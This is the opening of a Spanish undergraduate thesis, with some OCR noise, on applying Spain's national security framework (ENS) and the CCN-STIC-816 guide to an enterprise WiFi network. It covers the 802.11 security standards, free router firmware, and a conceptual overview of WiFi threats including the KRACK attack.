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RESUMEN

Este Trabajo Fin de Grado se plantea estudiar la aplicacion de las politicas de seguridad definidas
en el Esquema Nacional de Seguridad a redes inaldmbricas WiFi. Para ello, realiza un estudio
preliminar de la situacion actual del ciberentorno y la seguridad en redes inalambricas, asi como el
marco en el que Espafia se encuentra. Se hace referencia al Esquema Nacional de Seguridad, al Centro
Criptoldgico Nacional y a las guias publicadas por este organismo. Basandose en la guia CCN-STIC-
816 de seguridad en redes inaldmbricas, se despliega una red WiFi en el cuartel de alumnos “Marqués
de la Victoria” emulando una red que dara servicio al Centro Universitario de la Defensa.

Desplegada la red, se evalla la categoria de seguridad necesaria para una red de estas
caracteristicas segun la documentacién de referencia. Acorde con la categoria de seguridad establecida,
se implantan las medidas correspondientes haciendo uso de software libre.

Con objeto de validar las medidas de seguridad establecidas en la red, se realiza una comparativa
entre las medidas que podriamos denominar domésticas y las que se han implementado, visualizando
los objetivos de seguridad alcanzados con cada uno de ellas. Ademas, se llevan a cabo una serie de
pruebas de pentesting para demostrar la efectividad de las medidas implantadas.

Al final de este documento, se recogen las conclusiones obtenidas durante el desarrollo del TFG,
asi como las lineas futuras a desarrollar siguiendo esta linea de investigacion.
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APLICACION DE LAS POLITICAS DE SEGURIDAD DEL ENS EN REDES
INALAMBRICAS WIFI

1 INTRODUCCION Y OBJETIVOS

En este primer capitulo se procedera a explicar la motivacién que ha impulsado el planteamiento
de este Trabajo Fin de Grado (TFG), los objetivos que se persiguen en el desarrollo del mismo, asi
como la forma en la que se ha estructurado la memoria.

1.1 Motivaciéon del TFG

Debido a la facilidad que aporta el empleo de redes inalambricas WiFi tanto en nuestros hogares,
como en organizaciones publicas o privadas, unido al desarrollo del Internet de las cosas (en inglés
Internet of Things, IoT [1] a partir de ahora) cada vez es mds comun desplegar este tipo de redes
pasando a ser sustitutas de las tradicionales redes cableadas.

El empleo de redes WiFi ha permitido una transicion en el entorno doméstico. De tener una
conexion a Internet exclusivamente en un ordenador de sobremesa ahora podemos conectar una
cantidad mayor de dispositivos que pueden ir desde smartphones y tablets a ordenadores portatiles,
impresoras o video consolas.

En el &mbito profesional, las organizaciones pueden dotar de forma sencilla de conexion a Internet
y a la intranet de la organizacion a multitud de dispositivos, asi como de movilidad a los usuarios
dentro de la infraestructura de la organizacion. El uso de redes inaldmbricas WiFi permite, ademas, un
importante ahorro a la hora de desplegar la infraestructura de red. Se pasa de tener que tender cable a
las distintas zonas de la organizacion a tener que tan solo desplegar un punto de acceso conectado a
una toma con conexion a la red WAN.

Por otro lado, una de las principales tendencias en el pasado afio 2017 fue el desarrollo del 10T que
trae consigo una carencia importante de seguridad. Esta tendencia afecta tanto a usuarios domésticos
como a grandes organizaciones. El 10T abarca desde encimeras que detectan qué alimentos se posan
sobre ella, hasta ciudades completas (Smart cities) como es el caso de Songdo, en Corea del Sur [2].
0T actualmente tiene asociado una falta de seguridad importante por parte de los fabricantes y falta de
concienciacion de los usuarios. 10T puede llegar a hacer vulnerable una red debidamente asegurada,
pero desatendida en el aspecto de estos dispositivos.

A pesar de esta falta de concienciacion de los dispositivos 10T, la tendencia actual es que la
poblacion cada vez se implique méas en la seguridad tanto de redes, como de dispositivos o redes
sociales. Es destacable el hecho de que la sensibilizacion por la seguridad en las redes esta en aumento:
a dia de hoy muchas empresas tienen la ciberseguridad como una asignatura pendiente e invierten en
mejorarla.
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La concienciacion gana un papel muy importante en la seguridad de las redes ya que el eslabon
mas vulnerable de una red son los usuarios. Por tanto, una red es tan segura como metddicos y
confiables sean sus usuarios. Un sistema puede implementar las méximas medidas de seguridad
técnicas posibles y, sin embargo, si uno de sus usuarios facilita el empleo de sus credenciales de
acceso a terceros, estas medidas no sirven para nada. De hecho, organismos gubernamentales tales
como el Centro Criptoldgico Nacional (CCN) [3] vy el Instituto Nacional de Ciberseguridad (INCIBE)
[4] ofrecen programas de formacion tanto para administradores de red como para usuarios de ésta.

INCIBE proporciona desde un sencillo decélogo para el usuario de una red [5] hasta un kit de
concienciacion para empresas [6] que incorpora recursos graficos, elementos interactivos y una
programacion detallada. Por su parte, el CCN publica una serie de guias de buenas practicas, muchas
de las cuales estan orientadas a la implementacion de seguridad que deben realizar usuarios y empresas

[7]1.

Por otro lado, el CCN, en el ejercicio de sus competencias, elabora y difunde las correspondientes
guias de seguridad de las tecnologias de la informacion y las comunicaciones en el marco de lo
establecido en el Esquema Nacional de Seguridad (ENS) [8].

El ENS fue aprobado por el Real Decreto 3/2010, de 8 de enero, y la responsabilidad de su
aplicacion recae en el CCN. El ENS tiene por objeto determinar la politica de seguridad en la
utilizacion de medios electronicos en su ambito de aplicacion y esta constituido por los principios
bésicos y requisitos minimos que permiten una proteccion adecuada de la informacion [9]. Varios
aspectos son contemplados en el ENS para el presente proyecto, debido a que define politicas
relacionadas con las redes inaldmbricas WiFi. En el capitulo 2 se desarrollara méas en detalle el ENS.

En este contexto surge la motivacion del presente TFG, con el objeto de comprobar la eficacia de
las medidas que el ENS propone en el ambito de la seguridad en redes inaldmbricas WiFi.

Esta preocupacion por la seguridad de la informacion no interesa sélo en el &mbito doméstico o
empresarial. Afecta a otras organizaciones, como pueden ser las Fuerzas Armadas de un pais. Esto es
debido a que aumenta el interés en el desarrollo de tecnologias inalambricas seguras para mejorar el
Mando y Control de las unidades en el terreno, sin que ello suponga una fuga de informacion de
interés para el enemigo.

El Ejército de Tierra de los Estados Unidos ya ha comenzado el despliegue de redes WLAN en los
puestos de mando [10], conocidos por ellos como TOC (Tactical Operations Center). Esta
implementacion ha permitido que un mayor numero de aplicaciones puedan conectarse a la red, asi
como una mayor velocidad a la hora de establecer el puesto de mando, frente a las horas que llevaba
preparar una red cableada. El Ejército de Tierra de los Estados Unidos emplea en su estructura el
estdndar 802.11ac, el término acufiado como WIiFi Gigabit, que permite mejorar las tasas de
transferencia notablemente. Los puntos de acceso empleados presentan un cifrado aprobado por la
NSA (National Security Agency) y forman parte de WIN-T (Warfighter Network Tactical) Increment
1, el sistema de mando y control del ejército estadounidense. Desde el punto de vista logistico, los
medios que deben transportarse para establecer la red son mucho menores que en el antiguo sistema
cableado.

La Infanteria de Marina espafiola esta planteando la incorporacion de elementos inalambricos de
ambito local en sus puestos de mando, con el fin de ampliar la capacidad de acceso a Internet que se
tiene por medio de satélite, ya sea a otros vehiculos en el concepto SOTM (Satcom On The Move) o
dentro del propio puesto de mando, SATQH (Satcom At The Quick Halt). La configuracion original
empleaba como medio de transmision inaldmbrica la radio SPEARNET que ofrecia una tasa de
transferencia limitada. Actualmente se pretenden emplear routers adaptados para el ambiente de
operaciones, pero no cuentan con una certificacion de seguridad aprobada por el CCN y, por tanto, no
pueden utilizarse.
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1.2 Objetivos

Para realizar dicho estudio de las medidas que marca el ENS, en este TFG se establecen los
siguientes objetivos, que se desarrollan a lo largo de la memoria:

¢ Instalacion de una red inaldmbrica WiFi simulando la red de una organizacién. En nuestro
caso, se simula una red WiFi para el Centro Universitario de la Defensa (CUD).

e Estudio y clasificacion de la seguridad necesaria para la red segun el ENS.

e Revision de software libre de gestion de redes inalambricas.

e Configuracion de la red WiFi e implementacion de las medidas de seguridad que marca el
ENS para la categoria de seguridad determinada previamente.

e Validacion de la seguridad de la red establecida.

1.3 Organizacion de la memoria
La memoria se divide en cinco capitulos.

En esta primera parte se ha mostrado la motivacion que ha llevado al desarrollo de este TFG.
Después se han presentado los objetivos que se persiguen y el apartado ha concluido con la forma en la
que se ha organizado la memoria.

En el segundo capitulo (Estado del arte) se presenta la informacion necesaria para la comprension
del problema tratado. En el caso particular de este proyecto se hablara de las redes de informacién en
general, centrandonos en las redes inalambricas WiFi y el estandar que las regula. Seguidamente, se
revisaran las distintas opciones de software libre de gestion de redes inalambricas. También se
evaluaran las distintas amenazas mas comunes para redes inalambricas WiFi. Finalmente, se hablara
de la funcion del CCN y del Esquema Nacional de Seguridad.

El tercer capitulo (Desarrollo del TFG) comienza describiendo todo el software y hardware
empleado en el TFG, asi como, el propoésito de la red inalambrica que se va a desplegar y la seguridad
a implantar. Finalmente, se detallara el proceso de despliegue y configuracion de la red segun el ENS.

La Validacion del TFG, que conforma el cuarto capitulo de la memoria, recoge las ventajas que
supone para la red la aplicacion de las medidas de seguridad del ENS, y de qué forma se solucionan,
de manera implicita, las amenazas referidas en el apartado 2.4. Ademas, se incluye un apartado de
pruebas de pentesting que trata de medir la eficacia de las medidas implementadas.

Con el capitulo de Conclusiones y lineas futuras se cerrara el contenido de la memoria,
resumiendo las principales conclusiones obtenidas durante el desarrollo del TFG y se propondran
futuras lineas de trabajo relacionadas con el tema del presente trabajo.
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2 ESTADO DEL ARTE

En el presente capitulo se revisa el estado del arte de las redes de comunicaciones y, en particular,
de las redes inaldmbricas, del software libre de gestién de redes WiFi, y de aspectos relacionados con
la ciberseguridad en redes WiFi, que se particularizaran en el ultimo apartado, centrandose en el
érgano encargado de la ciberseguridad en Espafia, asi como el marco legal en el que se encuadra.

2.1 Redes de comunicaciones

Desde la creacién del primer enlace en la primera red de area extensa del mundo hasta el dia de
hoy hemos podido observar una vertiginosa evolucion de las tecnologias relacionadas con las redes de
comunicaciones. Esto ha provocado, ademas, que hayan surgido nuevos servicios, retos y problemas
[11].

En la actualidad nos encontramos inmersos en el mundo de las redes de comunicaciones, ya sea en
casa o en el trabajo, como fuente de ocio o forma de relacién con otras personas. A través de las redes
se mueven grandes flujos de informacion de un lugar a otro del planeta, de forma réapida y
preferiblemente segura. Las redes, o esa gran red conocida como Internet, constituyen el medio en el
que nos movemos en el mundo globalizado en el que vivimos.

Teniendo en cuenta la distancia entre los dispositivos que consideremos conectados, podemos
clasificar las redes en cinco tipos [12], de menor a mayor escala:

e Redes PAN (Personal Area Network): Son redes de area personal, es decir, redes que
comunican los dispositivos cercanos a una persona como puede ser un monitor, el teclado o
un ratén. Estas conexiones pueden ser via cable o inalambricas, y usan tecnologias como
Bluetooth o ZigBee.

e Redes LAN (Local Area Network): Hablamos en este caso de redes que engloban desde un
cuarto hasta un conjunto de edificios. El objetivo de estas redes es la comparticion de
recursos entre equipos de la red LAN, por ejemplo, intercambio de informacion sin salir de
dicha red o uso comdn de una impresora y también, interconectar diferentes dispositivos a
otro que les proporcione conexion con el exterior. Igual que en el caso anterior, estas redes
pueden ser cableadas o inalambricas. Las redes cableadas usan el estdndar IEEE 802.3 o
Ethernet. En el caso de ser inalambricas, se usa el estdndar IEEE 802.11, también conocido
como WiFi.

e Redes MAN (Metropolitan Area Network): Cubren toda una ciudad, son redes de area
metropolitana. Originalmente aparecieron con el fin de dar cobertura de TV dentro de las
ciudades, ya que en ese momento la transmision por aire de TV era de inferior calidad. Con
el desarrollo de Internet, los operadores de televisidn se dieron cuenta de la necesidad de
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implementar una red MAN que proporcionara Internet a los hogares. Actualmente existe la
tecnologia WIMAX, estandar IEEE 802.16, que permite la creacion de redes de éarea
metropolitana de forma inalambrica.

e Redes WAN (Wide Area Network): Afiaden una extensa cobertura en un area geogréfica,
por ejemplo, un pais o continente. Dichas redes podriamos verlas como una red LAN de
gran tamafio, aunque presenta sus particularidades. En estas redes debemos diferenciar a
los hosts, usuarios que quieren comunicarse con otro host en otra parte del pais, y las
subredes, que son las encargadas de poner en contacto a esos hosts que se encuentran en
redes LAN distintas. Los encargados de gestionar las subredes suelen ser las operadoras
telefonicas, conocidas como ISP (Internet Service Provider), ya que a las organizaciones
que usan las redes WAN no les interesa mantener ni gestionar la arquitectura de la subred,
que suele ser un entramado cableado que usa, obviamente, tecnologia diferente a la de una
red LAN. Las conexiones en red WAN también pueden ser inaldmbricas, como una
conexion satélite o la red de telefonia movil. Como ejemplo de red WAN en el &mbito de la
Armada tenemos la WAN-PG, una red WAN de Propdsito General.

e Interredes: Se conoce como interred o internet a un conjunto de redes conectadas. El
ejemplo mas conocido y utilizado de interred es Internet.

En la Tabla 2-1 se muestra la forma de clasificar las redes segun su escala.

Distancia entre procesadores Procesadores ubicados en el mismo Tipo de red

1m Metro cuadrado PAN
10m Cuarto LAN
100 m Edificio LAN
1km Campus LAN
10 km Ciudad MAN
100 km Pais WAN
1000 km Continente WAN
10000 km Planeta Internet

Tabla 2-1 Tabla resumen de las distintas clasificaciones de red segiin escala

Como ya se ha visto, ademas de la clasificacién segun su escala, podemos clasificarlas en redes
cableadas o inalambricas. En nuestro caso nos centraremos en las redes inalambricas, mas
concretamente en las redes de &rea local inalambricas o WLAN (Wireless Local Area Network),
basadas en el estandar IEEE 802.11 [13].

2.2 Las redes inalambricas WiFi

En el presente apartado se presentan los distintos estandares que regulan el empleo y desarrollo de
las redes inaldambricas WiFi, haciendo especial hincapié en los estandares recogidos en la guia CCN-
STIC-816 Seguridad en Redes Inalambricas en el ENS [14].

Pero antes de presentar los estandares, debemos comentar las funciones del IEEE [15] (Institute of
Electrical and Electronics Engineers).

El IEEE se define como la mayor organizacion, técnica y profesional, del mundo dedicada al
avance de la tecnologia en beneficio de la humanidad. Su misién es fomentar la innovacion y
excelencia tecnoldgica en beneficio de la humanidad.
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De forma maés tangible, el IEEE se encarga, entre otras cosas, de la creacion de estandares, una
serie de normas y reglas en diversos ambitos de la tecnologia, desde la energia nuclear hasta la
nanotecnologia. EI dmbito que nos atafie es el de tecnologias cableadas e inalambricas. Estos
estandares se encuentran en constante evolucion debido a la dedicacion de los grupos de trabajo
encargados de cada uno de ellos.

La Tabla 2-2, Tabla 2-3, Tabla 2-4 muestran, respectivamente, los grupos de trabajo y estudios
activos, en suspension y disueltos de los grupos de trabajo segin su estandar en el &mbito LAN y
MAN.

Estandar Tema del estandar
802.1 Higher Layer LAN Protocols Working Group
802.3 Ethernet Working Group
802.11 Wireless LAN Working Group

802.15  Wireless Personal Area Network (WPAN) Working Group

802.16 Broadband Wireless Access Working Group
802.18 Radio Regulatory TAG
802.19 Wireless Coexistence Working Group

802.21 Media Independent Handover Services Working Group
802.22 Wireless Regional Area Networks

Tabla 2-2 Grupos de trabajo y estudio activos (tomada de [15])

Estandar Tema del estandar

802.17 Resilient Packet Ring Working Group
802.20  Mobile Broadband Wireless Access (MBWA) Working Group

Tabla 2-3 Grupos de trabajo y estudio en suspension (tomada de [15])
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Estandar Tema del estandar
802.2 Logical Link Control Working Group
802.4 Token Bus Working Group
802.5 Token Ring Working Group

802.6  Metropolitan Area Network Working Group

802.7 Broadband TAG

802.8 Fiber Optic TAG

802.9 Integrated Services LAN Working Group
802.10 Security Working Group

802.12 Demand Priority Working Group
802.14 Cable Modem Working Group
802.23 Emergency Services Working Group

Tabla 2-4 Grupos de trabajo y estudio disueltos (tomada de [15])

De los estandares anteriormente citados, nos centramos en el 802.11, que define las redes WLAN.
Este estandar ha ido evolucionando desde su primera version, en 1997, hasta nuestros dias, con
diferentes estandares, los ultimos, el 802.11ah y el 802.11ai [13]. Aunque estos Ultimos sean los
estandares mas recientes no son necesariamente utilizados a nivel global, ya que la implantacion puede
depender de que la tecnologia de los dispositivos que utilizamos tenga la capacidad de soportar las
caracteristicas definidas, como pueden ser los métodos de codificacion que utilizan, el ancho de banda
que ofrecen o las mejoras de rendimiento.

Para el desarrollo de este TFG nos interesan los protocolos a los que se refiere el Centro
Criptologico Nacional, a partir de ahora CCN [16], en la guia CCN-STIC-816 Seguridad en Redes
Inaldmbricas en el ENS [14]. Estos son el IEEE 802.11i [17] y el IEEE 802.11w [18]. Aungue ajeno al
estandar 802.11, la guia también contempla el uso del IEEE 802.1x [19], modelo que rige el control de
puertos. Se exponen, a continuacion, breves descripciones de los estandares anteriormente nombrados:

e |EEE 802.11i: es una revision del estandar original en el que se modificaron el mecanismo
de seguridad original, que se trataba de WEP (Wired Equivalent Privacy). EI motivo de
este cambio fue la deteccion de vulnerabilidades de WEP, probando no ser adecuado para
dar seguridad a redes inaldmbricas. Esto fue lo que IEEE 802.11i corrigio, pasando a crear
mecanismos mas robustos que WEP, como fueron WPA (WiFi Protected Access) y WPA2,
que es el que se utiliza actualmente.

Estos dos ultimos estdndares, WPA y WPAZ2, utilizan los protocolos criptograficos
Temporal Key Integration Protocol (TKIP, a partir de ahora) y Counter-mode/CBC-MAC
Protocol (CCMP), respectivamente. CCMP utiliza el modo de operacion Counter with
CBC-MAC (CCM), también conocido como Advanced Encryption Standard (AES), usando
una clave de 128-bits y un tamafio de bloque de 128-bit. Para incrementar la
confidencialidad y la integridad de los datos, CCMP combina diversos métodos para
mejorar las prestaciones de TKIP y WEP.

e |EEE 802.1x: Se definen dos modos de implementacion (Personal y Enterprise) para WPA
y WPAZ2. El modo Enterprise utiliza el mecanismo de autenticacion 802.1x en el que se
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utiliza un Servidor de Autenticacion (Authentication Server, AS) para autorizar las
peticiones de conexidn entrante que se dirigen a la red.

La combinacion de ambos estandares nos permite la creacion del concepto englobado en el
IEEE 802.11i, las redes RSA (Robust Security Networks), que son aquellas que Gnicamente
permiten la creacion de asociaciones RSNA (Robust Security Network Associations). Para
garantizar la seguridad robusta de una red, todos los dispositivos deben utilizar RSNA.
Para establecer RSNA se distinguen 5 fases:

1.

2.

Descubrimiento y asociacion: en el que el dispositivo cliente solicita el acceso al
AP (Access Point) con el fin de unirse a la red inalambrica.

Autenticacion y distribucion de claves raiz: una vez realizada la asociacion entre
cliente y AP, se inicia el proceso de autenticacion y entrega de las claves raiz.
Ambos dispositivos se autentican mutuamente, el cliente para mostrarse como un
usuario legitimo y autorizado para conectarse a la red y ésta para demostrar que es
una red legitima y no nos conectamos a una red falsa. La entrega de claves raiz
también se realiza y éstas se usan para generar las demas claves criptogréaficas.

El primer proceso de autenticacion se puede llevar a cabo mediante:

e El modelo de control de acceso basado en puerto, definido en el estandar
IEEE 802.1x y empleando el protocolo EAP (Extensible Authentication
Protocol).

e El método de claves pre-compartidas PSK (Pre-shared keys), en el que se
supone que la posesion de la clave pre-compartida entre cliente y AP sirve
como prueba de autenticacion.

En el primer caso, para el uso del método EAP, se lleva a cabo una transferencia de
datos entre el suplicante o cliente y el servidor de autenticacion, usando como
puente del enlace al AP para el encapsulamiento y transmision de los mensajes
entre cliente y AS. La autenticacion en si se puede realizar mediante diversos
mecanismos: contrasefias estaticas, dindmicas, o certificados.

El estandar 802.1x afiade el término de puertos controlados y puertos no
controlados. El tréfico de autenticacibn EAP es conducido por los puertos no
controlados. El resto del trafico se conduce por los puertos controlados, que no se
podran utilizar hasta que la autenticacion finalice con éxito y, ademas, se haya
generado y distribuido el material de claves criptogréficas con el fin de proteger la
comunicacion. Se genera la clave raiz AAAK (Authentication, Authorization and
Accounting Key), también Ilamada MSK (Master Session Key), y se distribuye al
dispositivo suplicante.

Generacion y distribucion de las claves criptograficas: una vez obtenidas las claves
raiz, se obtiene el material de claves necesario para proteger la comunicacion.

En el proceso de generacion y distribucion de claves se emplean dos tipos de
negociacion: la negociacion en 4 etapas o 4-way handshake, y la negociacion de
grupo. Ambas negociaciones emplean mecanismos de cifrado y de proteccion de
integridad para el material criptogréafico distribuido.

Al finalizar esta fase, consideramos completada la autenticacion mutua, y los
puertos controlados son desblogueados para permitir el trafico de datos de usuario.

Transferencia de datos protegidos: es la fase propia de transferencia de datos. La

proteccion de la informacion se realizard a través de los algoritmos criptograficos
de la suite criptografica negociada y acordada en la primera fase, descubrimiento y
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asociacion. Los algoritmos utilizaran las claves criptograficas generadas en la fase
3.

5. Fin de la conexion: en esta fase se elimina la asociacion entre el AP y el dispositivo
cliente. EI AP desautentica al cliente, se eliminan las claves empleadas y el puerto
controlado 802.1x pasa de nuevo a estado bloqueado, impidiendo el trafico de
usuarios.

e |EEE 802.11w: supone una mejora al estandar 802.11i, porque afiade seguridad al trafico de
gestion durante la conexion. Proporciona proteccion de confidencialidad, integridad,
autenticidad y proteccion anti-reenvios para las tramas de gestion.

Para la aplicacion de estos estandares hemos visto que intervienen tres elementos de hardware: el
cliente, el Punto de Acceso y el Servidor de Autenticacion:

e Cliente: cualquier dispositivo de usuario que solicita un acceso a la red inalambrica para
realizar la transferencia de datos de usuario. Pueden ser, por ejemplo, ordenadores
portéatiles, smartphones, videoconsolas, etc.

e Puntos de Acceso (AP): son parte de los equipos que forman la infraestructura inaldmbrica,
y se encargan de conectar los dispositivos cliente entre si, o con la infraestructura cableada
de la organizacion.

e Servidor de Autenticacion (AS): son equipos encargados de gestionar el acceso de clientes
a la red y de expedicion de certificados. Son capaces de mantener una base de datos con
cada usuario y otorgarle a cada uno una clave distinta para acceder a la red WiFi.

Esto sera asi si empleamos una distribucion en modo Infraestructura (Figura 2-1), ya que i
empleamos una distribucion Ad Hoc (Figura 2-2) no existirian los puntos de acceso ni los servidores
de autenticacion y los dispositivos clientes se comunicarian entre si directamente. Para el desarrollo
del presente proyecto emplearemos el modo Infraestructura.

IR g

AP

Switch 1',“, )

i Red cableada

Figura 2-1 Diagrama de una red inaldmbrica en modo Infraestructura
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Figura 2-2 Diagrama de una red inalambrica en modo Ad Hoc

2.3 Revision de software libre de gestion de redes inalambricas

Para la gestion y configuracion de los routers se emplea firmware, generalmente desarrollado por
el fabricante. Estos firmware suelen presentar ciertas limitaciones tanto a nivel de configuracién como
de seguridad y pueden llegar a quedarse obsoletos. Un ejemplo de ello es la empresa UNIFI [20], que a
partir de septiembre de 2018 deja de dar soporte a un modelo de punto de acceso.

Una solucion a este problema puede ser el empleo de software libre de gestion de redes
inalambricas, que nos aporta una mayor seguridad, personalizacion y opciones de configuracién. Estos
paquetes de software, soportados por la comunidad de usuarios de software libre, se encuentran en
constante actualizacion dando soporte a los routers por un tiempo més prolongado.

En 2002, la compafiia Linksys lanzé una linea de routers (los modelos WRT54G) con un software
basado en Linux. Desde su lanzamiento varias compafiias han seguido sus pasos y se han desarrollado
diferentes programas de gestion como son DD-WRT [21], Tomato [22] y OpenWrt [23].

El firmware libre presenta una serie de ventajas genéricas comunes a todos:

e El codigo del firmware est4 visible para toda la comunidad.

e Mejora de la interfaz de usuario y funcionalidades en distintas marcas y modelos.

e Integracion VPN.

e Mejorada estabilidad de las redes y la informacion de estado de éstas.

e Modos inalambricos avanzados: punto de acceso, cliente puente inalambrico y modo
repetidor.

e Soporte a redes inalambricas virtuales (VLAN, Virtual Local Area Network).

e Acceso a tablas IP.

e Soporte de IPv6.

e Autenticacion RADIUS.

e Soporte Telnet/SSH.

e Integracién de Hotspots WiFi.

e Soporte NAT (Network Address Translation).

Maés alla de estas ventajas, cada firmware presenta particularidades que puede hacerlo mas apto
para unos usuarios u otros [24].

En el caso de DD-WRT, podemos decir que se trata de uno de los mas populares debido a su
facilidad de instalacién. Ademas, presenta una gran variedad de caracteristicas y el soporte de la
comunidad es muy activo y eficaz. Su principal limitacion radica en lo complicado de su
configuracion.
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El firmware Tomato es el mas sencillo de emplear de los tres. La interfaz grafica es muy intuitiva e
incluye una herramienta de monitorizacion de la red de serie. Sin embargo, este firmware puede no ser
el méas adecuado para implementarse en un router antiguo debido a la baja compatibilidad que tiene
con routers actuales. Tomato presenta varias versiones como Tomato Shibby y AdvancedTomato. Este
firmware tiene una mejor estabilidad y rendimiento que DD-WRT.

OpenWrt estaba originalmente basado en linea de comandos y requeria de conocimientos
avanzados para su configuracion, pero actualmente se han desarrollado diversas interfaces gréficas de
gestion del router como son LuCl o Gargoyle. OpenWrt presenta una gran cantidad de firmware para
cada uno de los modelos de router que soporta y previamente se debe elegir el adecuado para nuestro
router. OpenWrt es altamente personalizable y puede afadir gran cantidad de funciones adicionales
integradas en un solo firmware.

Se puede decir que OpenWrt nos ofrece todo lo que nos ofrecen los otros firmware, afiadiendo,
ademas, su alta personalizacion y una mayor estabilidad que su principal competidor DD-WRT. Su
principal desventaja, la complejidad de configuracién, se mitiga con el empleo de interfaces graficas.

2.4 Amenazas de seguridad en redes inalambricas WiFi
La Union Internacional de Telecomunicaciones define la ciberseguridad como [25]:

El conjunto de herramientas, politicas, conceptos de seguridad, salvaguardas de
seguridad, directrices, métodos de gestion de riesgos, acciones, formacion, practicas
idéneas, seguros y tecnologias que pueden utilizarse para proteger los activos de la
organizacion y los usuarios del ciberentorno. Los activos de la organizacion y los
usuarios son los dispositivos informéaticos conectados, los usuarios, los
servicios/aplicaciones, los sistemas de comunicaciones, las comunicaciones
multimedios, y la totalidad de la informacion transmitida y/o almacenada en el
ciberentorno. La ciberseguridad garantiza que se alcancen y mantengan las
propiedades de seguridad de los activos de la organizacion y los usuarios contra los
riesgos de seguridad correspondientes en el ciberentorno. Las propiedades de
seguridad incluyen una o mas de las siguientes: Disponibilidad, integridad que
puede incluir la autenticidad y el no repudio y confidencialidad.

Entendemos el ciberentorno como el conjunto de usuarios, redes, dispositivos, software, que estan
conectados directa o indirectamente a las redes. Para un adecuado funcionamiento del ciberentorno se
deben mantener integras ciertas propiedades.

A continuacion, se exponen las propiedades de seguridad [14]:

e Confidencialidad: Propiedad o caracteristica consistente en que la informacion ni se pone a
disposicion, ni se revela a individuos, entidades o procesos no autorizados.

e Integridad: Propiedad o caracteristica consistente en que el archivo de informacion no ha
sido alterado de manera no autorizada.

o Disponibilidad: Propiedad o caracteristica de los activos consistente en que las entidades o
procesos autorizados tienen acceso a los mismos cuando lo requieren.

e Autenticidad: Propiedad o caracteristica que garantiza la fuente de la que proceden los
datos.

e Trazabilidad: Propiedad o caracteristica que nos permite comprobar a posteriori quién ha
accedido, o modificado, una cierta informacion.

Estas propiedades pueden verse afectadas por distintas actividades maliciosas por parte de
atacantes e impedir el correcto funcionamiento de una red.
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Las redes inalambricas se ven amenazadas por los mismos riesgos que las cableadas afiadiendo
ademas riesgos especificos del &ambito inalambrico. En la siguiente lista se incluyen algunos de los mas
representativos [14].

e Eavesdropping. Cuando un individuo no autorizado utiliza alguna herramienta
(generalmente antenas de gran alcance) para capturar de forma pasiva el trafico
inalambrico. Este trafico le sirve para espiar informacion (en caso de que no vaya cifrada)
y para detectar patrones de comportamiento.

e Denegacion del Servicio (Denial of Service). Cuando la infraestructura inalambrica queda
incapacitada para ofrecer el servicio, por ejemplo, cuando un individuo no autorizado
inyecta peticiones masivas de asociacion a los AP dejandolos incapacitados para responder
a las peticiones de los clientes legitimos.

e Man-in-the-middle. Cuando un individuo no autorizado se coloca en medio de la
comunicacion inaldmbrica entre emisor y receptor, suplantando a una de las partes y
haciendo creer a la otra que esta hablando con el comunicante legitimo. Desde ese punto,
se pueden ejecutar multitud de ataques posteriores (captura de credenciales, de trafico,
etc.).

e MAC Spoofing. Los AP pueden tener configurada una lista de direcciones MAC (Media
Access Control) permitidas. A pesar de ello, un individuo no autorizado puede suplantar
una direccion MAC autorizada para lograr el acceso.

e Acceso de dispositivos no autorizados que estdn conectados al dispositivo cliente
autorizado y que a través de él pueden lograr acceso a la red inalambrica y por tanto a la
red cableada de la organizacién pudiendo introducir software dafiino.

Merece una mencién especial una amenaza reciente para la seguridad que puso en jaque a todos
los fabricantes de dispositivos de redes inalambricas WiFi, los ataques KRACK.

Actualmente la seguridad en las redes WiFi esta basada en el protocolo WPAZ2, protocolo creado
en 2003 y que ha sido valido hasta finales de 2017. En esa fecha Mathy Vanhoef descubrié una
vulnerabilidad que él llam6 KRACK [26], Key Reinstallation Attacks. Estos ataques consisten en
romper WPAZ2 forzando la reutilizacion de nonces o paquetes de incremento de nimero transmitido.

KRACK funciona de la siguiente manera. Cuando un cliente se une a la red, se ejecuta un 4-way
handshake para negociar la nueva clave de encriptacion que se utilizara en toda la comunicacion
posterior. Se instalara esta clave después de recibir el tercer mensaje del 4-way handshake. Una vez
que la clave esta instalada, sera utilizada para cifrar los bloques de datos usando un protocolo de
cifrado. Sin embargo, como los mensajes pueden perderse, el AP retransmitira el tercer mensaje si no
recibe el pertinente mensaje de recibido por parte del solicitante. El resultado es que el cliente puede
recibir el tercer mensaje varias veces. Cada vez que recibe el mensaje, se reinstalara la misma clave de
encriptacion, y de este modo se resetea el paquete de incremento de nimero transmitido. Un atacante
puede forzar esos reinicios nonce compilando y retransmitiendo el tercer mensaje del 4-way
handshake. De esta forma, forzando la reutilizacion de nonce, el protocolo de encriptacion puede ser
atacado, por ejemplo, replicando paquetes o desencriptandolos.

Esta técnica permite al atacante realizar uno de los ataques mas comunes en redes WiFi abiertas,
inyectar paquetes maliciosos en conexiones HTTP (Hipertext Transfer Protocol) sin cifrar. Por
ejemplo, un atacante puede inyectar ransomware o malware en las paginas que la victima esta
visitando.

Si la victima usa WPA-TKIP o Galois Counter Mode Protocol (GCMP) en lugar de AES-CCMP,
las consecuencias pueden ser catastréficas. En estos protocolos la reutilizacion de nonce permite al
adversario desencriptar, inyectar o falsificar paquetes. GCMP esta siendo implantado bajo el nombre
de Wireless Gigabit (WiGig) y se espera que sea adoptado en un alto porcentaje en los proximos afios.
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Los atagues KRACK no permiten recuperar las contrasefias de las redes WiFi. Actualmente los
fabricantes tanto de dispositivos clientes como de AP’s estan actualizando WPAZ2 para evitar estos
ataques. La organizacion WiFi Alliance anuncié que en 2018 lanzaria un nuevo protocolo de
seguridad, el WPAS, con sustanciales mejoras [27].

2.5 CCN y el Esquema Nacional de Seguridad

Dado el peso que ha ganado en los Gltimos afios la ciberseguridad y el aumento de los ciberataques
a nivel mundial, se han creado organismos en muchos paises para combatir el cibercrimen. Ejemplo de
ello es la Organizacion Europea de Ciberseguridad ECSO (European Cyber Security Organisation)
[28], v, a nivel espariol, el ya mencionado INCIBE [29] o el MCCD, Mando Conjunto de Ciberdefensa
[30]. Ademés de INCIBE en Espafia existe el Centro Criptologico Nacional (CCN).

El CCN es el organismo responsable de coordinar la accion de los diferentes organismos de la
Administracion publica que utilicen medios o procedimientos de cifra, garantizar la seguridad de las
tecnologias de la informacion en ese ambito, informar sobre la adquisicion coordinada del material
criptologico y formar al personal de la Administracion especialista en este campo.

El CCN fue creado en el afio 2004, a través del Real Decreto 421/2004 [31], adscrito al Centro
